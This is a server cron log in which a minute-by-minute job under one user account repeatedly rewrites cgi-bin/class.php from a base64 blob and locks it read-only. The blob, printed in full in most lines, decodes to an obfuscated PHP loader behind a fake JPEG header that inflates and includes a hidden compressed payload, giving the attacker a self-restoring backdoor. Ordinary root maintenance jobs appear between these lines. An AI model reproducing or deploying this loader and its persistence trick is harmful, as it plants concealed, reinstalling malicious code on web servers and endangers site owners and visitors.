Nov 11 16:35:01 server CROND[22265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:35:01 server CROND[22264]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 16:36:01 server CROND[23158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:37:01 server CROND[24008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:38:01 server CROND[24861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:39:01 server CROND[25669]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 16:39:01 server CROND[25670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:40:01 server CROND[26513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:40:01 server CROND[26517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:40:01 server CROND[26518]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 16:40:01 server CROND[26519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:41:01 server CROND[27473]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:42:01 server CROND[28395]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 16:42:01 server CROND[28396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:43:01 server CROND[29214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:44:01 server CROND[30062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:45:01 server CROND[30891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:45:01 server CROND[30892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:45:01 server CROND[30893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:46:01 server CROND[31942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:47:01 server CROND[369]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
